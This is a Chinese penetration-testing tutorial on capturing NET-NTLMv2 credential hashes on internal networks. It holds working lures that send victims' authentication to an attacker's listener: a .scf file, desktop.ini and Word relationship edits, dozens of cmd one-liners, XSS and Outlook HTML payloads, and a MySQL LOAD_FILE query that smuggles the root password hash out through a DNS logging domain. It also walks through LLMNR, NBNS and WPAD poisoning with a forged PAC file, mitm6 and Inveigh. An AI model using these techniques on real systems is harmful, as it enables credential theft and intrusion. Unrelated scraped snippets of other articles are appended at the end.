WEB安全--内网渗透--捕获NET-NTLMv2 Hash
一、前言
在LM&NTLM基础篇中我们了解到了NTLM协议的流程与加密的方式,以及具体的在type3的response中Net-ntlm hash v2的生成方式。
思考:
如果我们入侵的服务器中有域管理员的登录后的密码缓存,那就能用工具(mimikatz)抓取服务器中的域管理员密码hash,从而随意登录内网中的设备;不过这种况是极其罕见的。
如果我们入侵到内网中且没有其他设备的密码,那我们该如何横向渗透呢?
这时就可以通过一些方式捕获type3中的Net-ntlm hash进行利用,那我们该怎样获取Net-ntlm hash呢?
二、捕获NET-NTLMv2 Hash的手段
2.0、开启监听
我们用工具在公网开启一个监听,目的是实时捕获内网服务器中发来的type3 Response信息中的NET-NTLMv2 Hash
捕获工具:Responder(具体参数用法以后单独介绍)
开启监听:
有了监听,我们就需要让服务器发起访问请求,基于NTLM协议发起协商(最关键的是客户端发送的type3数据包内容),然后Responder捕获NET-NTLMv2 Hash。
2.1、图标头像操作
2.1.1、修改文件图标路径(Windows_version<=7)
文件夹底下都有个文件desktop.ini来指定文件夹图标之类的。默认不可见。去掉隐藏受保护的操作系统文件就可以看到
将图标路径改成UNC路径,指向我们的服务器
当用户访问该文件夹的时候会去访问UNC路径,我们就能获取用户的net-ntlm hash:
不过这种手段在win7后就失去作用了,所以知道原理就行了。
2.1.2、scf文件(Windows_version<=7)
只要一个文件底下含有scf后缀的文件,由于scf文件包含了IconFile属性,所以Explore.exe会尝试获取文件的图标。而IconFile是支持UNC路径的。以下是scf后缀的文件的格式
[Shell]
Command=2
IconFile=\\172.16.100.1\scf\test.ico
[Taskbar]
Command=ToggleDesktop
新建test.scf,写入内容,放在一个文件夹底下,当用户访问该文件夹的时候,我们就会获得用户的net-ntlm hash。
2.1.3、用户头像(Windows_version=10/2016/2019)
在更改账户图片处。
用普通用户的权限指定一个webadv地址的图片,如果普通用户验证图片通过,那么SYSTEM用户(域内是机器用户)也去访问172.16.100.180,并且携带凭据,我们就可以拿到机器用户的net-ntlm hash,这个可以用来提权。
2.2、cmd命令执行
这个比较鸡肋,都能执行命令了,干啥不行呢。但作为一种场景,也说明下。说不定有些限制的命令注入就是支持传进UNC路径呢。我平时在测试的时候一般都是用 dir \\ip\xxx
来做测试的,很多cmd命令是支持传进UNC路径的,执行的时候我们就可以拿到用户的net-ntlm hash了。
> net.exe use \hostshare
> attrib.exe \hostshare
> bcdboot.exe \hostshare
> bdeunlock.exe \hostshare
> cacls.exe \hostshare
> certreq.exe \hostshare #(noisy, pops an error dialog)
> certutil.exe \hostshare
> cipher.exe \hostshare
> ClipUp.exe -l \hostshare
> cmdl32.exe \hostshare
> cmstp.exe /s \hostshare
> colorcpl.exe \hostshare #(noisy, pops an error dialog)
> comp.exe /N=0 \hostshare \hostshare
> compact.exe \hostshare
> control.exe \hostshare
> convertvhd.exe -source \hostshare -destination \hostshare
> Defrag.exe \hostshare
> diskperf.exe \hostshare
> dispdiag.exe -out \hostshare
> doskey.exe /MACROFILE=\hostshare
> esentutl.exe /k \hostshare
> expand.exe \hostshare
> extrac32.exe \hostshare
> FileHistory.exe \hostshare #(noisy, pops a gui)
> findstr.exe * \hostshare
> fontview.exe \hostshare #(noisy, pops an error dialog)
> fvenotify.exe \hostshare #(noisy, pops an access denied error)
> FXSCOVER.exe \hostshare #(noisy, pops GUI)
> hwrcomp.exe -check \hostshare
> hwrreg.exe \hostshare
> icacls.exe \hostshare
> licensingdiag.exe -cab \hostshare
> lodctr.exe \hostshare
> lpksetup.exe /p \hostshare /s
> makecab.exe \hostshare
> msiexec.exe /update \hostshare /quiet
> msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog)
> mspaint.exe \hostshare #(noisy, invalid path to png error)
> msra.exe /openfile \hostshare #(noisy, error)
> mstsc.exe \hostshare #(noisy, error)
> netcfg.exe -l \hostshare -c p -i foo
示例(Win11):
2.3、XSS
了解XSS的都知道,当用户访问浏览器的XSS脚本页面时,XSS就会执行。
利用xss构造
<script src="\\192.168.114.3\xss">
2.4、outlook
发送邮件是支持html的,而且outlook里面的图片加载路径又可以是UNC。于是我们构造payload
<img src="\\192.168.114.3\outlook">
当收件人打开outlook查看邮件的时候,就会触发访问我们的kali服务器,获取到用户的NET-NTLMv2 Hash。
2.5、PDF
PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能,请求远程SMB服务器的文件。我们直接使用三好学生的脚本https://github.com/3gstudent/Worse-PDF
我们就能收到net-ntlmv2 hash
不过只能用Adobe打开才能生效
2.6、office
首先新建一个word,贴近一张图片
然后用7zip 打开(没测试其他软件,可自行测试)
进入word\_rels,修改document.xml.rels,可以看到Target参数本来是本地的路径,修改为UNC路径,然后加上TargetMode="External":
当打开word的时候,我们就拿到net-ntlm hash
2.7、MySQL
我们知道在MySQL注入的话,是可以通过带外通信把数据带出来。语法如下:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user
WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
需要具备load_file权限,且没有secure_file_priv的限制(5.5.53默认是空,之后的话默认为NULL就不好利用了,不排除一些管理员会改)
仔细观察我们会发现LOAD_FILE是支持UNC路劲
我们构造
select load_file('\\\\172.16.100.1\\mysql');
拿到net-ntlm hash
2.8、NBNS&LLMNR
windows 解析域名的顺序是
-
Hosts
-
DNS (cache / server)
-
LLMNR
-
NBNS
如果Hosts文件里面不存在,就会使用DNS解析。如果DNS解析失败,就会使用LLMNR解析,如果LLMNR解析失败,就会使用NBNS解析
参考ARP欺骗,也就是说当受害者访问一个不存在的域名的时候如aaaaaaa;受害者在Hosts 文件里面没有找到,通过DNS解析失败,就会通过LLMNR协议进行广播;这个时候攻击者就发个响应包 aaaaaaa对应的IP是x.x.x.x(这个ip是攻击者IP)进行LLMNR投毒。
这一步可以通过Responder 实现:
NBNS同理:
2.9、浏览器WPAD
wpad (Web Proxy Auto-Discovery Protocol)
通过让浏览器自动发现代理服务器,定位代理配置文件PAC(在下文也叫做PAC文件或者wpad.dat),下载编译并运行,最终自动使用代理访问网络。
默认自动检测设置是开启的。
PAC文件的格式如下:
function FindProxyForURL(url, host) {if (url== 'http://www.baidu.com/') return 'DIRECT';if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';return 'DIRECT';
}
如下是流程图:
下列对WPAD的利用:
2.9.1、配合LLMNR/NBNS投毒(微软在2016年已打补丁)
用户在访问网页时,首先会查询PAC文件的位置。查询的地址是WPAD/wpad.dat。如果没有在域内专门配置这个域名的话,那么DNS解析失败的话,就会使用LLMNR发起广播包询问WPAD对应的ip是多少,这个时候我们就可以进行LLMNR投毒和NBNS投毒。
流程:
①受害者通过llmnr询问wpad主机在哪里,Responder通过llmnr投毒将wpad的ip指向Responder所在的服务器
②受害者访问WPAD/wpad.dat,Responder就能获取到用户的net-ntlm hash
③然后Responder通过伪造如下pac文件将代理指向 ISAProxySrv:3141
function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
④受害者会使用ISAProxySrv:3141作为代理,但是受害者不知道ISAProxySrv对应的ip是什么,所以会再次查询,Responder再次通过llmnr投毒进行欺骗。将ISAProxySrv指向Responder本身。然后开始中间人攻击。
微软补丁:
1、系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP或DNS协议完成该任务。
2、更改了PAC文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。
2.9.2、mitm6配合DHCPv6(绕过补丁)
mitm6首先侦听攻击者计算机的某个网卡上的DHCPV6流量
当目标计算机重启或重新进行网络配置(如重新插入网线)时, 将会向DHCPv6发送请求获取IPv6配置
这个时候mitm6将回复这些DHCPv6请求,并在链接本地范围内为受害者分配一个IPv6地址,让受害者认为mitm6是DHCPv6服务器
这个时候受害者的dns 服务器的地址已经设置为攻击者的IPv6地址。一旦受害机器将攻击者设置为IPv6 DNS服务器,它将立即开始查询网络的WPAD配置。由于这些DNS查询是发送给攻击者的,因此攻击者仅可以使用自己的IP地址作为WPAD对应的IP地址。
2.9.3、Inveigh配合DHCPv6
①启一个公网Responder(10.10.10.1)监听,把下面参数置为OFF
FTP server [OFF]
IMAP server [OFF]
POP3 server [OFF]
SMTP server [OFF]
②使用Inveigh.exe在内网投毒,指定公网ip(10.10.10.1),在内网服务器中运行
Inveigh.exe -DHCPv6 Y -SpoofIP 启动进程
③这时当受害用户重启并登录该被入侵的服务器,就会进行DHCPv6的广播,然后Inveigh.exe进程就会伪装成DHCPv6服务器与被入侵的建立联系
④这时,当用户使用浏览器访问任意网页时,浏览器(开启WPAD)就会寻找代理服务器,这时被入侵的服务器就会被Inveigh.exe引导到Responder(10.10.10.1)
-------------下面可以参考[2.9.1、配合LLMNR/NBNS投毒(微软在2016年已打补丁)]-------------------
⑤受害者通过llmnr询问wpad主机ip在哪里(http://wpad主机ip/wpad.dat),Responder通过llmnr投毒将wpad的ip指向Responder所在的服务器
⑥受害者访问WPAD/wpad.dat
⑦然后Responder通过伪造如下pac文件将代理指向 ISAProxySrv:3141
function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
⑧受害者会使用ISAProxySrv:3141作为代理,但是受害者不知道ISAProxySrv对应的ip是什么,所以会再次查询,Responder再次通过llmnr投毒进行欺骗。将ISAProxySrv指向Responder本身。然后开始中间人攻击。
相关文章:
WEB安全--内网渗透--捕获NET-NTLMv2 Hash
一、前言 在LM&NTLM基础篇中我们了解到了NTLM协议的流程与加密的方式,以及具体的在type3的response中Net-ntlm hash v2的生成方式。 思考: 如果我们入侵的服务器中有域管理员的登录后的密码缓存,那就能用工具(mimikatz&…...
使用 J-Flash 读取芯片 Flash 数据的方法
基本读取步骤 硬件连接 确保 J-Link 调试器正确连接到目标板 给目标板供电(可通过 J-Link 供电或外部电源) 创建/打开项目 启动 J-Flash 软件 选择 "File" > "New Project" 创建新项目 选择正确的目标芯片型号(或…...
Spring MVC 返回 JSON 视图的方式及对比(6种)
Spring MVC 返回 JSON 视图的方式及对比(新增 MappingJackson2JsonView) 1. 方式一:ResponseBody 注解 作用:直接返回对象,由消息转换器(如 Jackson)序列化为 JSON。 适用场景:简单…...
SpringMVC的数据响应
1)页面跳转 直接返回字符串 通过ModelAndView对象返回 //方式三(model和view拆开)RequestMapping("/quick4")public String save4(Model model){model.addAttribute("username","lisi3");return "success";}//方式二RequestMapping(&…...
GraphRAG与知识图谱
一、GraphRAG介绍 1.1 什么是 Graph RAG? Graph RAG(Retrieval-Augmented Generation),是一种基于知识图谱的检索增强技术, 通过构建图模型的知识表达,将实体和关系之间的联系用图的形式进行展示ÿ…...
hive通过元数据库删除分区操作步骤
删除分区失败: alter table proj_60_finance.dwd_fm_ma_kpi_di_mm drop partition(year2025,month0-3,typeADJ); 1、查询分区的DB_ID、TBL_ID – 获取数据库ID-26110 SELECT DB_ID FROM DBS WHERE NAME ‘proj_60_finance’; – 获取表ID-307194 SELECT TBL_ID FR…...
LINUX 5 cat du head tail wc 计算机拓扑结构 计算机网络 服务器 计算机硬件
计算机网络 计算机拓扑结构 计算机按性能指标分:巨型机、大型机、小型机、微型机。大型机、小型机安全稳定,小型机用于邮件服务器 Unix系统。按用途分:专用机、通用机 计算机网络:局域网‘、广域网 通信协议’ 计算机终端、客户端…...
flink 增量快照同步文件引用关系和恢复分析
文章目录 文件引用分析相关代码分析从state 恢复,以rocksdb为例不修改并行度修改并行度keyGroupRange过程问题 文件引用分析 每次生成的checkpoint 里都会有所有文件的引用信息 问题,引用分析里如何把f1,f2去掉了,可以参考下面的代码&#…...
属性修改器 (AttributeModifier)
主页面设置组件 import { MyButtonModifier } from ../datastore/MyButtonModifier;Entry ComponentV2 struct MainPage {// 支持用状态装饰器修饰,行为和普通的对象一致Local modifier: MyButtonModifier new MyButtonModifier();build() {Column() {Button(&quo…...
汽车BMS技术分享及其HIL测试方案
一、BMS技术简介 在全球碳中和目标的战略驱动下,新能源汽车产业正以指数级速度重塑交通出行格局。动力电池作为电动汽车的"心脏",其性能与安全性不仅直接决定了车辆的续航里程、使用寿命等关键指标,更深刻影响着消费者对电动汽车的…...
电网电能质量分析:原理、算法及实际应用
一、引言 在现代社会,电力供应的稳定性和可靠性对工业生产、社会生活的各个方面都至关重要。电能质量作为衡量电力系统供电能力的关键指标,其优劣直接影响到电力设备的运行效率、使用寿命以及生产过程的稳定性。随着电力系统规模的不断扩大,新…...
PyCharm Community社区版链接WSL虚拟环境
#记录工作 在过去,PyCharm Community Edition(社区版)不具备链接 WSL 虚拟环境的功能,该功能仅在 PyCharm Professional(专业版)和企业版中提供。如今,从 PyCharm Community Edition 2024.3.5 …...
2026考研数学张宇武忠祥复习视频课,高数基础班+讲义PDF
2026考研数学武忠祥老师课(网盘):点击下方链接 2026考研数学武忠祥网课(最新网盘) 一、基础阶段(3-5个月) 目标:搭建知识框架掌握基础题型 教材使用: 高数:…...
Spring Boot嵌入前端静态资源:从原理到实战的完整指南
在Java Spring Boot项目中集成前端静态资源是构建现代Web应用的必备技能。本文将深入解析Spring Boot的静态资源处理机制,通过实战案例演示完整的集成流程,并分享性能优化与安全加固的最佳实践。 一、Spring Boot静态资源处理原理 1.1 默认资源路径 S…...
DeepSeek对比ChatGPT有何改进,可以用更低成本计算
下面是基于DeepSeek公开论文和代码,与ChatGPT对比后总结的改进点,以及其为何能用更少算力训练大模型的解析。 https://arxiv.org/pdf/2412.19437 1. 改进点对比 1.1 架构稀疏化与混合专家(MoE)设计 DeepSeek采用稀疏激活与混合…...
JavaScript双问号操作符(??)详解,解决使用 || 时因类型转换带来的问题
目录 JavaScript双问号操作符(??)详解,解决使用||时因类型转换带来的问题 一、双问号操作符??的基础用法 1、传统方式的痛点 2、双问号操作符??的精确判断 3、双问号操作符??与逻辑或操作符||的对比 二、复杂场景下的空值处理 …...
Go语言从零构建SQL数据库(5)-Pratt解析算法:SQL表达式解析的核心引擎
Pratt解析算法:SQL表达式解析的核心引擎 1. 算法概述与工作原理 Pratt解析算法(自顶向下运算符优先级解析)是一种优雅的表达式解析方法,特别适合处理具有不同优先级运算符的复杂表达式。在我们的SQL解析器中,它负责解…...
数字政府与电子政务综合分析报告
数字政府与电子政务综合分析报告 一、引言 随着信息技术的飞速发展,数字政府和电子政务成为全球公共管理领域的重要趋势。数字政府和电子政务的建设不仅是提升政府治理能力的必然选择,也是推动国家治理现代化的重要途径。本文将对数字政府和电子政务进…...
服务器虚拟化技术深度解析:医药流通行业IT架构优化指南
一、服务器虚拟化的定义与原理 (一)技术定义:从物理到虚拟的资源重构 服务器虚拟化是通过软件层(Hypervisor)将物理服务器的CPU、内存、存储、网络等硬件资源抽象为逻辑资源池,分割成多个相互隔离的虚拟机…...
QT ARM 开发环境搭建
搭建 QT ARM 开发环境主要包括主机环境配置、交叉编译工具链安装、QT 库交叉编译和 QT Creator 配置几个步骤。以下是详细流程: 一. 主机环境准备 系统要求 推荐 Ubuntu 18.04/20.04 LTS 或更高版本 至少 50GB 可用磁盘空间 8GB 以上内存 安装基础依赖 sudo apt update sud…...
【设计模式】外观模式
简介 想象你要在家里看电影,需要做以下操作: 打开电视启动音响调暗灯光关闭窗帘 如果每次都要手动操作这些步骤会很麻烦。外观模式可以帮你将这些步骤封装成一个统一的接口,比如“一键观影模式”,你只需按一个按钮,…...
[特殊字符] 驱动开发硬核特训 · Day 5 - 深入解析 Platform Driver 驱动框架
主题:深入解析 Platform Driver 驱动框架 —— 从架构设计到工程实战 平台驱动(platform driver)是 Linux 内核中应用最广泛的一种设备驱动框架。它用于管理那些不依赖总线枚举机制的固定外设,如 GPIO 控制器、I2C 控制器、SPI 控…...
创意 Python 爱心代码
在编程的世界里,Python 以其简洁易用和丰富的库而备受喜爱。用 Python 编写爱心代码,不仅能展现编程的魅力,还能传递温暖与爱意。今天就来分享几种创意 Python 爱心代码。 一、基于turtle库绘制爱心 turtle库是 Python 内置的图形库&#x…...
【群晖】挂载小雅alist到AList网盘中
群晖开启远程 在命令行远程到主机 ssh 用户名主机名终端中执行下方命令创建一个在AList中挂载小雅所需要的token: docker exec -i xiaoya sqlite3 data/data.db <<EOF select value from x_setting_items where key "token"; EOF 如果报权限错误…...
嵌入式C语言11(宏/程序的编译过程)
宏 ⦁ 基本概念 C语言中可以利用宏定义实现文本的快速替换,注意:宏定义是单纯的文本替换,不检查语法是否合法。 C语言标准中提供了很多的预处理指令,比如#include、#pragma…以#开头的都属于预处理指令。 预处理指令指的是在…...
城电科技 | 太阳能花怎么选择?光伏太阳花的应用场景在哪里?
在当下追求绿色能源的时代,珠海城电科技的太阳能花逐渐走进人们的视野。那么,太阳能花究竟是什么呢?太阳能花属于光伏发电应用的一种,巧妙地利用太阳能进行发电。它还有着光伏太阳花、光伏发电花、光伏智慧花等别称。 城电科技-光…...
[C++面试] C++中各类括号的差异:[]、{}、<>、()
括号类型典型场景编译期/运行时安全性考量()函数调用、运算优先级两者注意强制转换风险[]数组访问、Lambda捕获运行时主导防止越界访问{}统一初始化、聚合类型编译期检查阻止隐式窄化转换<>模板实例化、元编程编译期注意模板展开爆炸问题 int x{5}; int x(5);有什么区别…...
Qt 入门 3 之对话框 QDialog(1)
Qt 入门 3 之对话框 QDialog 本文从以下几点分开讲述: - 对话框的基本原理介绍 - 两种不同类型的对话框 - 一个由多个窗口组成并且窗口间可以相互切换的程序 1.模态和非模态对话框 QDialog 类是所有对话框窗口类的基类。对话框窗口是一个经常用来完成短小任务或者…...
Python设计模式:组合模式
1. 什么是组合模式 组合模式(Composite Pattern)是一种结构型设计模式,它允许将对象组合成树形结构以表示“部分-整体”的层次关系。组合模式使得客户端对单个对象和组合对象的使用具有一致性。换句话说,组合模式可以让客户端以相…...
第九天 - psutil系统监控库 - 资源监控仪表盘 - 练习:实时CPU/Memory监控
使用Python打造实时资源监控仪表盘(psutilFastAPI) 一、为什么要学习系统监控? 在软件开发中,系统资源监控是每个开发者都需要掌握的重要技能。无论是排查性能瓶颈、优化程序效率,还是确保服务稳定性,实时…...
Spring Boot内嵌服务器全解析:Tomcat vs Jetty vs Undertow 选型指南
精心整理了最新的面试资料和简历模板,有需要的可以自行获取 点击前往百度网盘获取 点击前往夸克网盘获取 引言 在Spring Boot应用中,内嵌服务器的选择直接影响应用的性能、资源占用和扩展性。尽管Tomcat作为默认选项被广泛使用,Jetty和Unde…...
【嵌入式学习6】多任务版TCP服务器
目录 如何实现: 客户端1.0版本: 服务端: 客户端2.0版本: thread.join() 是一个线程同步方法,用于主线程等待子线程完成。当你调用 thread.join() 时,主线程会阻塞,直到调用 join() 的子线程…...
抖音直播位置与IP属地不同?如何实现
抖音作为头部平台吸引了大量主播和观众。然而,许多用户发现一个令人困惑的现象:直播间显示的位置信息与账号IP属地不一致。本文将深入分析这一现象背后的原因,探讨可能带来的影响,并提供实用的解决方案。 一、抖音直播显示的位置与…...
Scala(六)
本节课学习了数组、列表、Set集合、Map集合、元组、集合中常用的函数等等。 数组包括可变数组、不可变数组,学习了如何定义和创建数组、可变数组和不可变数组之间的转换、多维数组、数组遍历 列表学习了如何添加元素、合并集合、如何访问元素、遍历列表 Set集合学…...
Android 11.0 framework系统首次开机添加锁屏壁纸的功能
1.前言 在11.0的系统rom定制化开发中,在某些时候需要默认设置锁屏壁纸功能,而系统中没有在 framework/base下没有单独的默认锁屏壁纸的图片替换,默认就是锁屏壁纸和主屏幕壁纸 都是同一张壁纸,所以就需要添加接口来实现设置默认锁屏壁纸的功能 2.framework系统首次开机添…...
Scala数组
数组 - 可变数组:以 ArrayBuffer 创建,可灵活增删改元素 ,如 ArrayBuffer(1, 2, 3) ,并通过 append 等方法操作。 - 不可变数组:由 Array 构建,创建后元素不可变,可借助 toBuffer 等方法转换为…...
Win11 24H2用户个性化设置OOBE跳过微软账户使用本地账户方法
目前Win11已经更新到24H2版本,经过小编测试,已经有两种方法失效了,分别如下。 1.shiftFnF10,oobe \bypassnro 2.微软账户注册界面,输入特定邮件地址和随机密码,例如nothankyou.com、exampleexample.com等…...
遍历集合list工具
文章目录 1.遍历集合list,返回第一个匹配的对象/不匹配返回null:2.集合list排序3.遍历list对象,返回匹配的集合4.从 dbRepeaters 列表中筛选出所有 repeaterId 在 repeaterIds 数组中的 Repeater 对象,并将这些对象收集到一个新的…...
基于 SmartX 原生容灾能力构建简单经济的容灾方案:5 大场景与 4 例实践合集
不少企业都基于虚拟化/超融合架构支持多种核心应用系统与数据库。这些场景不仅涉及多种类型的工作负载,在数据可靠性层面也需要不同级别的保护策略,一些用户还面临灾备演练、集中容灾等更多样的容灾需求,因此,构建全面可靠、易用高…...
说一下分布式组件时钟一致性的解决方案
为什么需要时钟一致性? 在分布式系统中,时钟一致性是确保各节点时间同步的关键问题。 时钟不同步可能导致日志混乱、事务顺序错误、数据不一致等问题 1. 物理时钟同步 基础方案:NTP(网络时间协议) 原理:…...
aws s3api 常用命令
AWS S3API 是 Amazon Web Services(AWS)提供的用于与简单存储服务(S3)进行交互的命令行工具,以下是一些常用命令: 桶操作 创建桶 aws s3api create-bucket --bucket <bucket-name> --region <r…...
006 ElementUI
https://element.eleme.cn/#/zh-CN ElementUI是组件库,网站快速成型工具 npm i element-ui2.12.0在 main.js 中写入以下内容: import ElementUI from element-ui; import element-ui/lib/theme-chalk/index.css; Vue.use(ElementUI);...
el-select组件与el-tree组件结合实现下拉选择树型结构框
下拉选择树型结构框 实现效果图组件完整代码 实现效果图 组件完整代码 <template><div class"tree-con"><el-selectv-model"value"placeholder"请选择"class"bs-select"ref"select"><el-optionv-for&…...
windows系统更新nvidia 驱动, 并安装pytorch
windows系统更新nvidia 驱动, 并安装pytorch 1.更新前nvidia-smi 显示版本比较久 2.方法一:通过NVIDIA GeForce Experience自动更新 NVIDIA GeForce Experience是NVIDIA官方提供的一款软件,它不仅可以帮助用户优化游戏设置,还能…...
如何深刻理解Reactor和Proactor
前言: 网络框架的设计离不开 I/O 线程模型,线程模型的优劣直接决定了系统的吞吐量、可扩展性、安全性等。目前主流的网络框架,在网络 IO 处理层面几乎都采用了I/O 多路复用方案(又以epoll为主),这是服务端应对高并发的性能利器。 …...
如何使用WRF-Hydro GIS工具,生成运行WRF-Hydro模型的Domain文件,包括流域、地形、河网、湖泊等
WRF-Hydro模型作为一个集成了大气和水文过程的模型,具有一些挑战性的难点,包括: 复杂的耦合过程:WRF-Hydro模型需要同时考虑大气和水文过程的相互作用,包括降水、蒸发、径流等一系列过程的耦合,这使得模型的…...
adb devices报错 ADB server didn‘t ACK
ubuntu下连接手机首次使用adb devices 报错ADB server didn’t ACK adb devices * daemon not running; starting now at tcp:5037 ADB server didnt ACK Full server startup log: /tmp/adb.1000.log Server had pid: 52986 --- adb starting (pid 52986) --- 04-03 17:23:23…...
机器学习——决策树
1.什么要学习决策树? 处处都是选择,并且到处都是岔路口。比如你发现某只股票几天时间内涨了很多,如果是你,你会买进吗?如果买进了,你就得承担后果,要么会大赚一笔,要么会血本无归。总之,用算法替代主观判断,避免情绪化投资决策。 …...
zk源码—2.通信协议和客户端原理二
大纲 1.ZooKeeper如何进行序列化 2.深入分析Jute的底层实现原理 3.ZooKeeper的网络通信协议详解 4.客户端的核心组件和初始化过程 5.客户端核心组件HostProvider 6.客户端核心组件ClientCnxn 7.客户端工作原理之会话创建过程 6.客户端核心组件ClientCnxn (1)客户端核心…...
Python设计模式:构建模式
1. 什么是构建模式 构建模式(Builder Pattern)是一种创建型设计模式,它允许使用多个简单的对象一步步构建一个复杂的对象。构建模式通过将构建过程与表示分离,使得同样的构建过程可以创建不同的表示。换句话说,构建模…...